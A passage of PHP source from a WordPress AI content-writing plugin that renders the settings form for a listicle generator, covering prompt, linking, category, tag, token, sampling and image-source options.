placeholder="Enter your excerpt prompts, one per line" class="cr_width_full">' . esc_textarea($excerpt_prompt) . '</textarea> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the excerpt generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Excerpt Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_listicle_list[topic_excerpt_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_excerpt_model)) { $topic_excerpt_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_excerpt_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td colspan="2"><h4>' . esc_html__('Advanced Prompting Options', 'aiomatic-automatic-ai-content-writer') . ':</h4></td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Run regex on prompts. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Run Regex On Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_listicle_list[strip_by_regex_prompts][]" placeholder="regex" class="cr_width_full">' . esc_textarea($strip_by_regex_prompts) . '</textarea> </div> </td></tr><tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content from prompts, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Replace Matches From Regex (Prompts)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_listicle_list[replace_regex_prompts][]" placeholder="regex replacement" class="cr_width_full">' . esc_textarea($replace_regex_prompts) . '</textarea> </div> </td></tr><tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select on which prompts do you want to run the above Regex. Possible values are (or any of their combinations): title, intro, sections, content, outro, excerpt", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Run Above Regex On Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="run_regex_on' . esc_html($cont) . '" name="aiomatic_listicle_list[run_regex_on][]" type="text" list="run_regex_on_list' . esc_html($cont) . '" class="coderevolution_gutenberg_input" value="' . esc_attr($run_regex_on) . '"/> <datalist id="run_regex_on_list' . esc_html($cont) . '"> <option value="title">title</option> <option value="intro">intro</option> <option value="sections">sections</option> <option value="content">content</option> <option value="qa">Q&A</option> <option value="outro">outro</option> <option value="excerpt">excerpt</option> </datalist> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Global Prompt Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This will be prepended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Prepend Text To All Textual AI Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[global_prepend][]" placeholder="Global prompt prepend text" class="cr_width_full">' . esc_textarea($global_prepend) . '</textarea> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This will be appended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Append Text To All Textual AI Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[global_append][]" placeholder="Global prompt append text" class="cr_width_full">' . esc_textarea($global_append) . '</textarea> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Automatic Linking Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the linking method to use in posts.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Automatic Linking Type", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="link_type' . esc_html($cont) . '" onchange="hideLinks(' . esc_html($cont) . ');" name="aiomatic_listicle_list[link_type][]"> <option value="disabled"'; if ($link_type == 'disabled') { $output .= ' selected'; } $output .= '>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="internal"'; if ($link_type == 'internal') { $output .= ' selected'; } $output .= '>' . esc_html__("Internal Links", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="manual"'; if ($link_type == 'manual') { $output .= ' selected'; } $output .= '>' . esc_html__("Manual Links", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="mixed"'; if ($link_type == 'mixed') { $output .= ' selected'; } $output .= '>' . esc_html__("Mixed Links", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Number Of Automatic Links To Add To The Post Content", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" name="aiomatic_listicle_list[max_links][]" placeholder="Add the number of links to enable this feature" class="cr_width_full" value="' . esc_attr($max_links) . '"> </div> </td></tr> <tr class="hidelinks' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter a manual list of links, where the plugin will create links.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Manual List Of URLs (One Per Line)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" cols="70" name="aiomatic_listicle_list[link_list][]" placeholder="URL list (one per line)" class="cr_width_full">' . esc_textarea($link_list) . '</textarea> </div> </td></tr> <tr class="hidelinks' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to add nofollow attribute to manually entered, external links?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Nofollow Attribute To Manual Links", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" name="aiomatic_listicle_list[link_nofollow][]"'; if($link_nofollow == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Types Where To Generate Automatic Links", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" name="aiomatic_listicle_list[link_post_types][]" placeholder="post" class="cr_width_full" value="' . esc_attr($link_post_types) . '"> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Post Category Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to automatically add post categories from the feed items?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Auto Add Categories", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="auto_categories" name="aiomatic_listicle_list[auto_categories][]"> <option value="disabled"'; if ($auto_categories == 'disabled') { $output .= ' selected'; } $output .= '>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="ai"'; if ($auto_categories == 'ai') { $output .= ' selected'; } $output .= '>' . esc_html__("AI Generated", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="title"'; if ($auto_categories == 'title') { $output .= ' selected'; } $output .= '>' . esc_html__("Title", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="content"'; if ($auto_categories == 'content') { $output .= ' selected'; } $output .= '>' . esc_html__("Content", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="both"'; if ($auto_categories == 'both') { $output .= ' selected'; } $output .= '>' . esc_html__("Title and Content", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the category generator. You can add this to the post categories, if you select 'AI Generated Categories' in the 'Auto Add Categories' settings field.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For The Category Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_listicle_list[category_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($category_model)) { $category_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($category_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set list of prompt commands (one on each line) you want to send to AI category generator. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ) . ' </div> </div> <b>' . esc_html__("Prompt For The AI Category Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[category_ai_command][]" placeholder="Write a comma separated list of categories, for the post title: %%post_title%%" class="cr_width_full">' . esc_textarea($category_ai_command) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the post category that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Additional Post Category", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select multiple class="cr_width_full" id="default_category" name="aiomatic_listicle_list[default_category' . esc_html($cont) . '][]" onmouseover="this.size=this.length;" onmouseout="this.size=4;"> <option value="aiomatic_no_category_12345678"'; if(!is_array($default_category)) { $default_category = array($default_category); } if(count($default_category) == 1) { foreach($default_category as $dc) { if ("aiomatic_no_category_12345678" == $dc) { $output .= ' selected'; break; } } } $output .= '>' . esc_html__("Do Not Add a Category", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach ($categories as $category) { $output .= '<option value="' . esc_attr($category->term_id) . '"'; foreach($default_category as $dc) { if ($category->term_id == $dc) { $output .= ' selected'; break; } } $output .= '>' . sanitize_text_field($category->name) . ' - ID ' . esc_html($category->term_id) . '</option>'; } $output .= '</select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This feature will try to remove the WordPress\'s default post category. This may fail in case no additional categories are added, because WordPress requires at least one post category for every post.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Remove WP Default Post Category", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="remove_default" name="aiomatic_listicle_list[remove_default][]"'; if($remove_default == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This option will make the plugin not create categories which are not already existing on your site. For best results in this case, be sure to add to the prompt the list of categories from where the AI should select.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Add Inexistent Categories", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="skip_inexist" name="aiomatic_listicle_list[skip_inexist][]"'; if($skip_inexist == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Post Tag Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to automatically add post tags from the feed items?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Auto Add Tags", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="auto_tags" name="aiomatic_listicle_list[auto_tags][]"> <option value="disabled"'; if ($auto_tags == 'disabled') { $output .= ' selected'; } $output .= '>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="ai"'; if ($auto_tags == 'ai') { $output .= ' selected'; } $output .= '>' . esc_html__("AI Generated", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="title"'; if ($auto_tags == 'title') { $output .= ' selected'; } $output .= '>' . esc_html__("Title", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="content"'; if ($auto_tags == 'content') { $output .= ' selected'; } $output .= '>' . esc_html__("Content", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="both"'; if ($auto_tags == 'both') { $output .= ' selected'; } $output .= '>' . esc_html__("Title and Content", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the tag generator. You can add this to the post tags, if you select 'AI Generated Tags' in the 'Auto Add Tags' settings field.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For The Post Tag Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_listicle_list[tag_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($tag_model)) { $tag_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($tag_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set list of prompt commands (one on each line) you want to send to AI tag generator. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ) . ' </div> </div> <b>' . esc_html__("Prompt For The AI Post Tag Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[tag_ai_command][]" placeholder="Write a comma separated list of tags, for the post title: %%post_title%%" class="cr_width_full">' . esc_textarea($tag_ai_command) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the post tags that you want for the automatically generated posts to have. Spintax supported.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Additional Post Tags", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input class="cr_width_full" type="text" name="aiomatic_listicle_list[default_tags][]" value="' . esc_attr($default_tags) . '" placeholder="Please insert your additional post tags here" > </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Advanced AI Text Generator Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. The maximum amount which can be set is 4000. For other models, the maximum is 2048.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Total Token Count To Use Per API Request", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="1" max="128000" name="aiomatic_listicle_list[max_tokens][]" value="' . esc_attr($max_tokens) . '" placeholder="32768" class="cr_width_full"> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 1000.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Prompt Token Count To Use Per API Request", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="1" max="128000" name="aiomatic_listicle_list[max_seed_tokens][]" value="' . esc_attr($max_seed_tokens) . '" placeholder="1000" class="cr_width_full"> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Temperature", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="0" step="0.01" max="2" name="aiomatic_listicle_list[temperature][]" value="' . esc_attr($temperature) . '" placeholder="1" class="cr_width_full"> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Top_p", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="0" step="0.01" max="1" name="aiomatic_listicle_list[top_p][]" value="' . esc_attr($top_p) . '" placeholder="1" class="cr_width_full"> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Presence Penalty", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="-2" max="2" step="0.01" name="aiomatic_listicle_list[presence_penalty][]" value="' . esc_attr($presence_penalty) . '" placeholder="0" class="cr_width_full"> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Frequency Penalty", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="-2" step="0.01" max="2" name="aiomatic_listicle_list[frequency_penalty][]" value="' . esc_attr($frequency_penalty) . '" placeholder="0" class="cr_width_full"> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Image Generator Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to set a featured image for the created post (royalty free or AI generated)? Please note that for this feature to function you must configure the plugin (add API keys) in the plugin\'s \'Settings\' menu -> \'Royalty Free Featured Image Importing Options\' section.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Auto Set A Featured Image For Posts (Select Source Below)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="royalty_free" name="aiomatic_listicle_list[royalty_free][]"'; if ($royalty_free == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the search query repetition mode, when searching royalty free images.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Search Query Repetition", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" name="aiomatic_listicle_list[search_query_repetition][]" class="cr_width_full"> <option value="0"'; if ($search_query_repetition == '0') { $output .= ' selected'; } $output .= '>' . esc_html__("Use Different Search Queries For Images", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1"'; if ($search_query_repetition == '1') { $output .= ' selected'; } $output .= '>' . esc_html__("Use The Same Search Query For Images", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to enable the AI Image Generator and to replace Royalty Free Images with AI generated images? If you select 'Default Featured Image List', you can add the image URLs in the 'Default Featured Image List' settings field.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Image Source", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select id="enable_ai_images' . esc_html($cont) . '" onchange="hideImage(' . esc_html($cont) . ');" autocomplete="off" name="aiomatic_listicle_list[enable_ai_images][]" class="cr_width_full"> <option value="0"'; if ($enable_ai_images == '0') { $output .= ' selected'; } $output .= '>' . esc_html__("Royalty Free", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1"'; if ($enable_ai_images == '1') { $output .= ' selected'; } $output .= '>' . esc_html__("OpenAI/AiomaticAPI", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="2"'; if ($enable_ai_images == '2') { $output .= ' selected'; } $output .= '>' . esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="4"'; if ($enable_ai_images == '4') { $output .= ' selected'; } $output .= '>' . esc_html__("Midjourney", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="3"'; if ($enable_ai_images == '3') { $output .= ' selected'; } $output .= '>' . esc_html__("Manual URL List", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr class="hideImg' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%topic%%, %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. If you use Royalty Free Images as a source, you can also set their keywords here, if no keywords set, they will be automatically generated. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. The [aicontent] shortcode is able to be used also here.", 'aiomatic-automatic-ai-content-writer') . ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 